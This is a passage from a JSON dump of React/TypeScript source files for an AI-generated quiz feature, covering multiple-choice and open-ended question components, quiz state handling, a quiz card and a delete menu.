    "content": "import type { QuizQuestion } from '../../queries/ai-quiz';\nimport { cn } from '../../lib/classname';\nimport {\n  CheckIcon,\n  XIcon,\n  InfoIcon,\n  AlertTriangleIcon,\n  SkipForwardIcon,\n} from 'lucide-react';\nimport { markdownToHtml } from '../../lib/markdown';\nimport type { QuestionState } from './AIQuizContent';\n\nexport const markdownClassName =\n  'prose prose-base prose-p:mb-3 prose-p:text-base prose-p:font-normal prose-pre:my-5 prose-p:prose-code:whitespace-nowrap prose-p:prose-code:text-sm prose-p:prose-code:px-2 prose-p:prose-code:py-1 prose-p:prose-code:rounded-md prose-p:prose-code:border prose-p:prose-code:border-gray-300 prose-p:prose-code:bg-gray-50 text-left text-gray-800';\n\ntype AIMCQQuestionProps = {\n  question: QuizQuestion;\n  questionState: QuestionState;\n\n  setSelectedOptions: (options: number[]) => void;\n  onSubmit: (status: QuestionState['status']) => void;\n  onNext: () => void;\n  onSkip: () => void;\n  isLastQuestion: boolean;\n  onComplete: () => void;\n};\n\nexport function AIMCQQuestion(props: AIMCQQuestionProps) {\n  const {\n    question,\n    questionState,\n    setSelectedOptions,\n    onSubmit,\n    onSkip,\n    onNext,\n    isLastQuestion,\n    onComplete,\n  } = props;\n  const { title: questionText, options, answerExplanation } = question;\n\n  const { isSubmitted, selectedOptions = [] } = questionState;\n\n  const canSubmitMultipleAnswers =\n    options.filter((option) => option.isCorrect).length > 1;\n\n  const handleSelectOption = (index: number) => {\n    if (isSubmitted) {\n      return;\n    }\n\n    if (!canSubmitMultipleAnswers) {\n      const newSelectedOptions = [index];\n      setSelectedOptions(newSelectedOptions);\n      return;\n    }\n\n    const newSelectedOptions = selectedOptions.includes(index)\n      ? selectedOptions.filter((id) => id !== index)\n      : [...selectedOptions, index];\n    setSelectedOptions(newSelectedOptions);\n  };\n\n  const handleSubmit = () => {\n    if (isSubmitted) {\n      if (isLastQuestion) {\n        onComplete();\n      } else {\n        onNext();\n      }\n      return;\n    }\n\n    const isCorrect =\n      selectedOptions.every((index) => options[index].isCorrect) &&\n      selectedOptions.length ===\n        options.filter((option) => option.isCorrect).length;\n\n    onSubmit(isCorrect ? 'correct' : 'incorrect');\n  };\n\n  const hasAnySelected = selectedOptions.length > 0;\n  const canSubmit = hasAnySelected || questionState.status === 'skipped';\n\n  return (\n    <div className=\"mx-auto max-w-4xl\">\n      <QuestionTitle title={questionText} />\n\n      <div className=\"mt-8\">\n        {options.map((option, index) => {\n          const isSelected = selectedOptions.includes(index);\n          const isCorrectOption = option.isCorrect;\n\n          const isSelectedAndCorrect =\n            isSubmitted && isSelected && isCorrectOption;\n          const isSelectedAndIncorrect =\n            isSubmitted && isSelected && !isCorrectOption;\n          const isNotSelectedAndCorrect =\n            isSubmitted && !isSelected && isCorrectOption;\n\n          const html = markdownToHtml(option.title, false);\n\n          const isOptionDisabled =\n            isSubmitted && !isSelected && !isCorrectOption;\n\n          return (\n            <button\n              key={option.id}\n              className={cn(\n                'group flex w-full items-start gap-4 rounded-lg py-2 text-left',\n                isSelected && !isSubmitted && '',\n                isSubmitted &&\n                  isSelectedAndCorrect &&\n                  'border-green-500 text-green-700',\n                isSubmitted &&\n                  isSelectedAndIncorrect &&\n                  'border-red-500 text-red-700',\n                isSubmitted &&\n                  isNotSelectedAndCorrect &&\n                  'border-green-500 text-green-700',\n                isOptionDisabled && 'cursor-not-allowed opacity-50',\n              )}\n              onClick={() => handleSelectOption(index)}\n              disabled={isOptionDisabled}\n            >\n              <div\n                className={cn(\n                  'flex size-6.5 shrink-0 items-center justify-center rounded-lg border-2 border-gray-300',\n                  isSelected &&\n                    !isSubmitted &&\n                    'border-black bg-black text-white',\n                  isSelectedAndCorrect &&\n                    'border-green-500 bg-green-500 text-white',\n                  isSelectedAndIncorrect &&\n                    'border-red-500 bg-red-500 text-white',\n                  isNotSelectedAndCorrect &&\n                    'border-green-500 bg-green-500 text-white',\n                  !isSelected &&\n                    !isSubmitted &&\n                    'group-hover:border-gray-300 group-hover:bg-gray-200',\n                )}\n              >\n                {isSelected && !isSubmitted && (\n                  <div className=\"size-5 bg-black\" />\n                )}\n                {isSelectedAndCorrect && <CheckIcon className=\"size-5\" />}\n\n                {isSelectedAndIncorrect && <XIcon className=\"size-5\" />}\n\n                {isNotSelectedAndCorrect && <CheckIcon className=\"size-5\" />}\n              </div>\n              <div\n                className={cn(markdownClassName, 'flex-1')}\n                dangerouslySetInnerHTML={{ __html: html }}\n              />\n            </button>\n          );\n        })}\n      </div>\n\n      {isSubmitted && answerExplanation && (\n        <QuestionExplanation\n          explanation={answerExplanation}\n          status={questionState.status}\n        />\n      )}\n\n      <div className=\"mt-8 flex justify-between\">\n        <button\n          onClick={onSkip}\n          disabled={isSubmitted}\n          className=\"rounded-xl bg-gray-100 px-8 py-3 text-base font-medium text-gray-800 hover:bg-gray-200 disabled:cursor-not-allowed disabled:opacity-50\"\n        >\n          Skip Question\n        </button>\n        <button\n          className={cn(\n            'rounded-xl bg-black px-8 py-3 text-base font-medium text-white hover:bg-gray-800 disabled:cursor-not-allowed disabled:opacity-50',\n          )}\n          onClick={handleSubmit}\n          disabled={!canSubmit}\n        >\n          {isSubmitted\n            ? isLastQuestion\n              ? 'Finish Quiz'\n              : 'Next Question'\n            : 'Check Answer'}\n        </button>\n      </div>\n    </div>\n  );\n}\n\ntype QuestionTitleProps = {\n  title: string;\n};\n\nexport function QuestionTitle(props: QuestionTitleProps) {\n  const { title } = props;\n\n  const titleHtml = markdownToHtml(title, false);\n\n  return (\n    <div\n      className=\"prose prose-xl prose-headings:text-3xl prose-headings:font-bold prose-headings:text-black prose-headings:mb-6 prose-p:text-3xl prose-p:font-semibold prose-p:leading-normal prose-p:text-black prose-p:mb-0 prose-pre:my-5 prose-p:prose-code:whitespace-nowrap prose-p:prose-code:relative prose-p:prose-code:top-[-5px] prose-p:prose-code:text-xl prose-p:prose-code:px-3 prose-p:prose-code:py-1 prose-p:prose-code:rounded-md prose-p:prose-code:border prose-p:prose-code:border-gray-300 prose-p:prose-code:bg-gray-100 prose-p:prose-code:font-medium mb-2 text-left\"\n      dangerouslySetInnerHTML={{ __html: titleHtml }}\n    />\n  );\n}\n\ntype QuestionExplanationProps = {\n  explanation: string;\n  title?: string;\n  status?: 'correct' | 'incorrect' | 'can_be_improved' | 'skipped' | 'pending';\n};\n\nexport function QuestionExplanation(props: QuestionExplanationProps) {\n  const { explanation, title, status } = props;\n\n  const explanationHtml = markdownToHtml(explanation, false);\n\n  const getStatusConfig = () => {\n    switch (status) {\n      case 'correct':\n        return {\n          bgColor: 'bg-green-50',\n          borderColor: 'border-green-200',\n          iconBgColor: 'bg-green-500',\n          textColor: 'text-green-800',\n          icon: CheckIcon,\n          defaultTitle: 'Correct Answer',\n        };\n      case 'incorrect':\n        return {\n          bgColor: 'bg-red-50',\n          borderColor: 'border-red-200',\n          iconBgColor: 'bg-red-500',\n          textColor: 'text-red-800',\n          icon: XIcon,\n          defaultTitle: 'Incorrect Answer',\n        };\n      case 'can_be_improved':\n        return {\n          bgColor: 'bg-yellow-50',\n          borderColor: 'border-yellow-200',\n          iconBgColor: 'bg-yellow-500',\n          textColor: 'text-yellow-800',\n          icon: AlertTriangleIcon,\n          defaultTitle: 'Can Be Improved',\n        };\n      case 'skipped':\n        return {\n          bgColor: 'bg-gray-50',\n          borderColor: 'border-gray-200',\n          iconBgColor: 'bg-gray-500',\n          textColor: 'text-gray-800',\n          icon: SkipForwardIcon,\n          defaultTitle: 'Question Skipped',\n        };\n      default:\n        return {\n          bgColor: 'bg-blue-50',\n          borderColor: 'border-blue-200',\n          iconBgColor: 'bg-blue-500',\n          textColor: 'text-blue-800',\n          icon: InfoIcon,\n          defaultTitle: 'Explanation',\n        };\n    }\n  };\n\n  const config = getStatusConfig();\n  const IconComponent = config.icon;\n  const displayTitle = title || config.defaultTitle;\n\n  return (\n    <div\n      className={cn(\n        'mt-6 rounded-xl border-2 p-6 transition-all duration-200',\n        config.bgColor,\n        config.borderColor,\n      )}\n    >\n      <div className=\"mb-4 flex items-center gap-3\">\n        <div\n          className={cn(\n            'flex size-8 items-center justify-center rounded-full text-white',\n            config.iconBgColor,\n          )}\n        >\n          <IconComponent className=\"size-4\" strokeWidth={2.5} />\n        </div>\n        <h3 className={cn('text-lg font-semibold', config.textColor)}>\n          {displayTitle}\n        </h3>\n      </div>\n      <div\n        className={cn(markdownClassName, 'leading-relaxed text-gray-700')}\n        dangerouslySetInnerHTML={{ __html: explanationHtml }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIOpenEndedQuestion.tsx",
    "content": "import { type QuizQuestion } from '../../queries/ai-quiz';\nimport { cn } from '../../lib/classname';\nimport { Loader2Icon } from 'lucide-react';\nimport { QuestionExplanation, QuestionTitle } from './AIMCQQuestion';\nimport type { QuestionState } from './AIQuizContent';\nimport { useVerifyAnswer } from '../../hooks/use-verify-answer';\n\nexport type VerifyQuizAnswerResponse = {\n  status: 'correct' | 'incorrect' | 'can_be_improved';\n  feedback: string;\n};\n\ntype AIOpenEndedQuestionProps = {\n  quizSlug: string;\n  question: QuizQuestion;\n  questionState: QuestionState;\n\n  onSubmit: (status: QuestionState['status']) => void;\n  onNext: () => void;\n\n  setUserAnswer: (answer: string) => void;\n  setCorrectAnswer: (answer: string) => void;\n\n  isLastQuestion: boolean;\n  onComplete: () => void;\n\n  onSkip: () => void;\n};\n\nexport function AIOpenEndedQuestion(props: AIOpenEndedQuestionProps) {\n  const {\n    quizSlug,\n    question,\n    questionState,\n    onSubmit,\n    onNext,\n    setUserAnswer,\n    setCorrectAnswer,\n    isLastQuestion,\n    onComplete,\n    onSkip,\n  } = props;\n  const { title: questionText } = question;\n\n  const {\n    isSubmitted,\n    userAnswer = '',\n    correctAnswer = '',\n    status,\n  } = questionState;\n\n  const {\n    verifyAnswer,\n    data: verificationData,\n    status: verifyStatus,\n  } = useVerifyAnswer({\n    quizSlug,\n    question: questionText,\n    userAnswer,\n    onFinish: (data) => {\n      if (!data || !data.status) {\n        console.error('No data or status', data);\n        onSubmit('incorrect');\n        return;\n      }\n\n      setCorrectAnswer(data.feedback || '');\n      onSubmit(data?.status || 'incorrect');\n    },\n  });\n\n  const handleSubmit = async () => {\n    if (isSubmittedAndNotSkipped) {\n      if (isLastQuestion) {\n        onComplete();\n      } else {\n        onNext();\n      }\n      return;\n    }\n\n    await verifyAnswer();\n  };\n\n  const canSubmit = userAnswer.trim().length > 0;\n  const isVerifying =\n    verifyStatus === 'loading' || verifyStatus === 'streaming';\n  const feedback = verificationData?.feedback || correctAnswer;\n  const feedbackStatus = verificationData?.status || status;\n\n  const isSubmittedAndNotSkipped = isSubmitted && status !== 'skipped';\n\n  return (\n    <div>\n      <QuestionTitle title={questionText} />\n\n      <div className=\"mt-6\">\n        <textarea\n          data-clarity-unmask=\"true\"\n          className={cn(\n            'min-h-[200px] w-full resize-none rounded-xl border border-gray-200 p-4 text-lg',\n            'focus:border-gray-400 focus:ring-0 focus:outline-none',\n            isSubmittedAndNotSkipped && 'bg-gray-50',\n            isSubmittedAndNotSkipped &&\n              feedbackStatus === 'correct' &&\n              'border-green-500 bg-green-50',\n            isSubmittedAndNotSkipped &&\n              feedbackStatus === 'incorrect' &&\n              'border-red-500 bg-red-50',\n            isSubmittedAndNotSkipped &&\n              feedbackStatus === 'can_be_improved' &&\n              'border-yellow-500 bg-yellow-50',\n          )}\n          placeholder=\"Type your answer here...\"\n          value={userAnswer}\n          onChange={(e) => setUserAnswer(e.target.value)}\n          disabled={isSubmittedAndNotSkipped || isVerifying}\n        />\n      </div>\n\n      {feedback && (\n        <QuestionExplanation explanation={feedback} status={feedbackStatus} />\n      )}\n\n      <div className=\"mt-4 flex items-center justify-between\">\n        <button\n          onClick={onSkip}\n          disabled={isSubmitted}\n          className=\"rounded-xl bg-gray-100 px-8 py-3 text-base font-medium text-gray-800 hover:bg-gray-200 disabled:cursor-not-allowed disabled:opacity-50\"\n        >\n          Skip Question\n        </button>\n\n        <button\n          className={cn(\n            'rounded-xl bg-black px-8 py-3 text-base font-medium text-white hover:bg-gray-800 disabled:cursor-not-allowed disabled:opacity-50',\n          )}\n          onClick={handleSubmit}\n          disabled={!canSubmit || isVerifying}\n        >\n          {isVerifying ? (\n            <Loader2Icon className=\"size-4 animate-spin stroke-[2.5]\" />\n          ) : isSubmittedAndNotSkipped ? (\n            isLastQuestion ? (\n              'Finish Quiz'\n            ) : (\n              'Next Question'\n            )\n          ) : (\n            'Verify Answer'\n          )}\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuiz.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { useState } from 'react';\nimport { queryClient } from '../../stores/query-client';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { AlertCircleIcon } from 'lucide-react';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { AIQuizLayout } from './AIQuizLayout';\nimport { GenerateAIQuiz } from './GenerateAIQuiz';\nimport { aiQuizOptions, generateAIQuiz } from '../../queries/ai-quiz';\nimport { AIQuizContent } from './AIQuizContent';\nimport { LoadingChip } from '../LoadingChip';\n\ntype AIQuizProps = {\n  quizSlug?: string;\n};\n\nexport function AIQuiz(props: AIQuizProps) {\n  const { quizSlug: defaultQuizSlug } = props;\n  const [quizSlug, setQuizSlug] = useState(defaultQuizSlug);\n\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [isRegenerating, setIsRegenerating] = useState(false);\n\n  // only fetch the guide if the guideSlug is provided\n  // otherwise we are still generating the guide\n  const {\n    data: aiQuiz,\n    isLoading: isLoadingBySlug,\n    error: aiQuizError,\n  } = useQuery(aiQuizOptions(quizSlug), queryClient);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLoading =\n    isLoadingBySlug ||\n    isRegenerating ||\n    isTokenUsageLoading ||\n    isBillingDetailsLoading;\n\n  return (\n    <AIQuizLayout>\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      <div className=\"relative grow\">\n        {isLoading && (\n          <div className=\"absolute inset-0 z-20 flex h-full flex-col items-center justify-center bg-white\">\n            <LoadingChip message=\"Loading Quiz\" />\n          </div>\n        )}\n\n        {!isLoading && aiQuizError && (\n          <div className=\"absolute inset-0 z-20 flex h-full flex-col items-center justify-center bg-white\">\n            <div className=\"flex flex-col items-center justify-center gap-2\">\n              <AlertCircleIcon className=\"size-10 text-gray-500\" />\n              <p className=\"text-center\">\n                {aiQuizError?.message || 'Something went wrong'}\n              </p>\n            </div>\n          </div>\n        )}\n\n        {quizSlug && !aiQuizError && (\n          <AIQuizContent\n            quizSlug={quizSlug}\n            questions={aiQuiz?.questions ?? []}\n            isLoading={isLoading}\n          />\n        )}\n        {!quizSlug && !aiQuizError && (\n          <GenerateAIQuiz onQuizSlugChange={setQuizSlug} />\n        )}\n      </div>\n    </AIQuizLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizActions.tsx",
    "content": "import { MoreVertical, Play, Trash2 } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useToast } from '../../hooks/use-toast';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpDelete } from '../../lib/query-http';\n\ntype AIQuizActionsType = {\n  quizSlug: string;\n  onDeleted?: () => void;\n};\n\nexport function AIQuizActions(props: AIQuizActionsType) {\n  const { quizSlug, onDeleted } = props;\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isConfirming, setIsConfirming] = useState(false);\n\n  const { mutate: deleteQuiz, isPending: isDeleting } = useMutation(\n    {\n      mutationFn: async () => {\n        return httpDelete(`/v1-delete-ai-quiz/${quizSlug}`);\n      },\n      onSuccess: () => {\n        toast.success('Quiz deleted');\n        queryClient.invalidateQueries({\n          predicate: (query) => query.queryKey?.[0] === 'user-ai-quizzes',\n        });\n        onDeleted?.();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to delete quiz');\n      },\n    },\n    queryClient,\n  );\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={(e) => {\n          e.stopPropagation();\n          setIsOpen(!isOpen);\n        }}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute top-8 right-0 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <a\n            href={`/ai/quiz/${quizSlug}`}\n            className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n          >\n            <Play className=\"h-3.5 w-3.5\" />\n            Take Quiz\n          </a>\n          {!isConfirming && (\n            <button\n              className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setIsConfirming(true)}\n              disabled={isDeleting}\n            >\n              {!isDeleting ? (\n                <>\n                  <Trash2 className=\"h-3.5 w-3.5\" />\n                  Delete Quiz\n                </>\n              ) : (\n                'Deleting...'\n              )}\n            </button>\n          )}\n\n          {isConfirming && (\n            <span className=\"flex w-full items-center justify-between gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\">\n              Are you sure?\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={() => {\n                    setIsConfirming(false);\n                    deleteQuiz();\n                  }}\n                  disabled={isDeleting}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  Yes\n                </button>\n                <button\n                  onClick={() => setIsConfirming(false)}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  No\n                </button>\n              </div>\n            </span>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizCard.tsx",
    "content": "import { CalendarIcon, ClipboardCheck } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { getRelativeTimeString } from '../../lib/date';\nimport type { AIQuizDocument } from '../../queries/ai-quiz';\nimport { AIQuizActions } from './AIQuizActions';\n\ntype AIQuizCardProps = {\n  quiz: Omit<AIQuizDocument, 'content' | 'questionAndAnswers'>;\n  variant?: 'row' | 'column';\n  showActions?: boolean;\n};\n\nexport function AIQuizCard(props: AIQuizCardProps) {\n  const { quiz, variant = 'row', showActions = true } = props;\n\n  const updatedAgo = getRelativeTimeString(quiz?.updatedAt);\n\n  return (\n    <div className=\"relative flex flex-grow\">\n      <a\n        href={`/ai/quiz/${quiz.slug}`}\n        className={cn(\n          'group relative flex h-full w-full gap-3 overflow-hidden rounded-lg border border-gray-200 bg-white p-4 text-left transition-all hover:border-gray-300 hover:bg-gray-50 sm:gap-4',\n          variant === 'column' && 'flex-col',\n          variant === 'row' && 'sm:flex-col sm:items-start',\n        )}\n      >\n        <div className=\"min-w-0 flex-1\">\n          <h3 className=\"line-clamp-2 text-base font-semibold text-balance text-gray-900\">\n            {quiz.title}\n          </h3>\n        </div>\n\n        <div className=\"mt-4 flex items-center gap-4 sm:gap-4\">\n          <div className=\"flex items-center text-xs text-gray-600\">\n            <CalendarIcon className=\"mr-1 h-3.5 w-3.5\" />\n            <span>{updatedAgo}</span>\n\n            <div className=\"ml-3 flex items-center text-xs text-gray-600\">\n              <ClipboardCheck className=\"mr-1 h-3.5 w-3.5\" />\n              <span className=\"capitalize\">\n                {quiz.format === 'mcq' ? 'MCQ' : quiz.format}\n              </span>\n            </div>\n          </div>\n        </div>\n      </a>\n\n      {showActions && quiz.slug && (\n        <div className=\"absolute top-2 right-2\">\n          <AIQuizActions quizSlug={quiz.slug} />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizContent.tsx",
    "content": "import { useState } from 'react';\nimport type { QuizQuestion } from '../../queries/ai-quiz';\nimport { AIMCQQuestion } from './AIMCQQuestion';\nimport { AIOpenEndedQuestion } from './AIOpenEndedQuestion';\nimport { QuizTopNavigation } from './QuizTopNavigation';\nimport { getPercentage } from '../../lib/number';\nimport { AIQuizResults } from './AIQuizResults';\nimport { flushSync } from 'react-dom';\nimport { AIQuizResultStrip } from './AIQuizResultStrip';\nimport { cn } from '../../lib/classname';\nimport { httpPost } from '../../lib/query-http';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\n\ntype AIQuizResultFeedbackBody = {\n  questionsWithAnswers: string;\n};\n\ntype AIQuizResultFeedbackQuery = {};\n\nexport type AIQuizResultFeedbackResponse = {\n  summary?: string;\n  guideTopics?: string[];\n  courseTopics?: string[];\n};\n\nexport type QuestionState = {\n  isSubmitted: boolean;\n  selectedOptions?: number[];\n  userAnswer?: string;\n  correctAnswer?: string;\n  status: 'correct' | 'incorrect' | 'skipped' | 'pending' | 'can_be_improved';\n};\n\nconst DEFAULT_QUESTION_STATE: QuestionState = {\n  isSubmitted: false,\n  selectedOptions: [],\n  userAnswer: '',\n  correctAnswer: '',\n  status: 'pending',\n};\n\ntype QuizStatus = 'answering' | 'submitted' | 'reviewing';\n\ntype AIQuizContentProps = {\n  quizSlug?: string;\n  questions: QuizQuestion[];\n  isLoading?: boolean;\n  isStreaming?: boolean;\n};\n\nexport function AIQuizContent(props: AIQuizContentProps) {\n  const { quizSlug, questions, isLoading, isStreaming = false } = props;\n\n  const [activeQuestionIndex, setActiveQuestionIndex] = useState(0);\n  const activeQuestion = questions[activeQuestionIndex];\n\n  const [questionStates, setQuestionStates] = useState<\n    Record<number, QuestionState>\n  >({});\n  const [quizStatus, setQuizStatus] = useState<QuizStatus>('answering');\n\n  const activeQuestionState =\n    questionStates[activeQuestionIndex] ?? DEFAULT_QUESTION_STATE;\n  const isLastQuestion = activeQuestionIndex === questions.length - 1;\n\n  const {\n    mutate: userQuizResultFeedback,\n    isPending: isUserQuizResultFeedbackPending,\n    data: userQuizResultFeedbackData,\n    status: userQuizResultFeedbackStatus,\n    reset: resetUserQuizResultFeedback,\n  } = useMutation(\n    {\n      mutationKey: ['user-quiz-result-feedback', quizSlug],\n      mutationFn: (body: AIQuizResultFeedbackBody) => {\n        return httpPost<AIQuizResultFeedbackResponse>(\n          `/v1-ai-quiz-result-feedback/${quizSlug}`,\n          body,\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const handleSubmit = (status: QuestionState['status']) => {\n    const oldState =\n      questionStates[activeQuestionIndex] ?? DEFAULT_QUESTION_STATE;\n\n    const newQuestionStates = {\n      ...questionStates,\n      [activeQuestionIndex]: {\n        ...oldState,\n        isSubmitted: true,\n        status,\n      },\n    };\n\n    setQuestionStates(newQuestionStates);\n    return newQuestionStates;\n  };\n\n  const handleSetUserAnswer = (userAnswer: string) => {\n    setQuestionStates((prev) => {\n      const oldState = prev[activeQuestionIndex] ?? DEFAULT_QUESTION_STATE;\n\n      const newSelectedOptions = {\n        ...prev,\n        [activeQuestionIndex]: {\n          ...oldState,\n          userAnswer,\n        },\n      };\n\n      return newSelectedOptions;\n    });\n  };\n\n  const handleSetCorrectAnswer = (correctAnswer: string) => {\n    flushSync(() => {\n      setQuestionStates((prev) => {\n        const oldState = prev[activeQuestionIndex] ?? DEFAULT_QUESTION_STATE;\n\n        const newSelectedOptions = {\n          ...prev,\n          [activeQuestionIndex]: {\n            ...oldState,\n            correctAnswer,\n          },\n        };\n\n        return newSelectedOptions;\n      });\n    });\n  };\n\n  const handleSelectOptions = (options: number[]) => {\n    setQuestionStates((prev) => {\n      const oldState = prev[activeQuestionIndex] ?? DEFAULT_QUESTION_STATE;\n\n      const newSelectedOptions = {\n        ...prev,\n        [activeQuestionIndex]: {\n          ...oldState,\n          selectedOptions: options,\n        },\n      };\n\n      return newSelectedOptions;\n    });\n  };\n\n  const handleRetry = () => {\n    setActiveQuestionIndex(0);\n    setQuestionStates({});\n    setQuizStatus('answering');\n    resetUserQuizResultFeedback();\n  };\n\n  const hasNextQuestion = activeQuestionIndex < questions.length - 1;\n  const hasPreviousQuestion = activeQuestionIndex > 0;\n  const totalQuestions = questions?.length ?? 0;\n  const isAllQuestionsSubmitted =\n    Object.values(questionStates).filter((state) => state.status !== 'pending')\n      .length === totalQuestions;\n\n  const progressPercentage = isLoading\n    ? 0\n    : getPercentage(activeQuestionIndex + 1, totalQuestions);\n\n  const shouldShowQuestions =\n    quizStatus === 'answering' || quizStatus === 'reviewing';\n\n  const handleNextQuestion = () => {\n    if (!hasNextQuestion) {\n      setQuizStatus(isAllQuestionsSubmitted ? 'submitted' : 'reviewing');\n      return;\n    }\n\n    setActiveQuestionIndex(activeQuestionIndex + 1);\n  };\n\n  const handleSkip = () => {\n    const prevStatus = questionStates[activeQuestionIndex]?.status ?? 'pending';\n    const newQuestionStates = handleSubmit(\n      prevStatus === 'pending' ? 'skipped' : prevStatus,\n    );\n\n    if (hasNextQuestion) {\n      handleNextQuestion();\n    } else {\n      handleComplete(newQuestionStates);\n    }\n  };\n\n  const handleComplete = (\n    newQuestionStates?: Record<number, QuestionState>,\n  ) => {\n    const states = newQuestionStates ?? questionStates;\n    setQuizStatus('submitted');\n\n    const questionsWithAnswers = questions\n      .map((question, index) => {\n        const questionState = states[index];\n\n        let questionWithAnswer = `## Question ${index + 1} (${question.type === 'mcq' ? 'MCQ' : 'Open Ended'}): ${question.title}`;\n        if (question.type === 'mcq') {\n          questionWithAnswer += `\\n### Options:`;\n          question?.options?.forEach((option, optionIndex) => {\n            questionWithAnswer += `\\n${optionIndex + 1}. ${option.title} (${option.isCorrect ? 'Correct' : 'Incorrect'})`;\n          });\n\n          if (questionState?.selectedOptions?.length) {\n            questionWithAnswer += `\\n### User Selected Answer:`;\n            questionState?.selectedOptions?.forEach((optionIndex) => {\n              questionWithAnswer += `\\n${optionIndex + 1}. ${question.options[optionIndex].title}`;\n            });\n          }\n        } else {\n          if (questionState?.userAnswer) {\n            questionWithAnswer += `\\n### User Answer: ${questionState?.userAnswer}`;\n          }\n\n          if (questionState?.correctAnswer) {\n            questionWithAnswer += `\\n### AI Feedback: ${questionState?.correctAnswer}`;\n          }\n        }\n\n        questionWithAnswer += `\\n### Final Status: ${questionState?.status}`;\n\n        return questionWithAnswer;\n      })\n      .join('\\n\\n');\n\n    if (userQuizResultFeedbackStatus === 'idle') {\n      userQuizResultFeedback({ questionsWithAnswers });\n    }\n  };\n\n  return (\n    <div\n      className={cn('flex h-full w-full flex-col', {\n        'animate-pulse cursor-progress': isStreaming,\n      })}\n    >\n      <div\n        className={cn('relative flex h-full flex-col overflow-y-auto', {\n          'pointer-events-none': isStreaming,\n        })}\n      >\n        <div className=\"absolute inset-0 z-10\">\n          <div className=\"mx-auto max-w-2xl bg-white px-4 py-10\">\n            {shouldShowQuestions && (\n              <QuizTopNavigation\n                activeQuestionIndex={activeQuestionIndex}\n                totalQuestions={totalQuestions}\n                progressPercentage={progressPercentage}\n                onSkip={handleSkip}\n                isStreaming={isStreaming}\n                onPrevious={() => {\n                  if (!hasPreviousQuestion) {\n                    return;\n                  }\n\n                  setActiveQuestionIndex(activeQuestionIndex - 1);\n                }}\n                onNext={handleNextQuestion}\n              />\n            )}\n\n            {quizStatus === 'submitted' && (\n              <AIQuizResults\n                questionStates={questionStates}\n                totalQuestions={totalQuestions}\n                onRetry={handleRetry}\n                onNewQuiz={() => {\n                  window.location.href = '/ai/quiz';\n                }}\n                onReview={(questionIndex) => {\n                  setActiveQuestionIndex(questionIndex);\n                  setQuizStatus('reviewing');\n                }}\n                isFeedbackLoading={isUserQuizResultFeedbackPending}\n                feedback={userQuizResultFeedbackData}\n              />\n            )}\n\n            {shouldShowQuestions && (\n              <>\n                {activeQuestion && activeQuestion.type === 'mcq' && (\n                  <AIMCQQuestion\n                    question={activeQuestion}\n                    questionState={activeQuestionState}\n                    setSelectedOptions={handleSelectOptions}\n                    onSubmit={handleSubmit}\n                    onNext={handleNextQuestion}\n                    onSkip={handleSkip}\n                    isLastQuestion={isLastQuestion}\n                    onComplete={handleComplete}\n                  />\n                )}\n\n                {activeQuestion && activeQuestion.type === 'open-ended' && (\n                  <AIOpenEndedQuestion\n                    key={activeQuestion.id}\n                    quizSlug={quizSlug ?? ''}\n                    question={activeQuestion}\n                    questionState={activeQuestionState}\n                    onSubmit={handleSubmit}\n                    onNext={handleNextQuestion}\n                    setUserAnswer={handleSetUserAnswer}\n                    setCorrectAnswer={handleSetCorrectAnswer}\n                    isLastQuestion={isLastQuestion}\n                    onComplete={handleComplete}\n                    onSkip={handleSkip}\n                  />\n                )}\n              </>\n            )}\n          </div>\n        </div>\n      </div>\n\n      {quizStatus === 'reviewing' && (\n        <AIQuizResultStrip\n          activeQuestionIndex={activeQuestionIndex}\n          questionStates={questionStates}\n          onReview={(questionIndex) => {\n            setActiveQuestionIndex(questionIndex);\n            setQuizStatus('reviewing');\n          }}\n          onComplete={() => {\n            setQuizStatus('submitted');\n          }}\n        />\n      )}\n    </div>\n 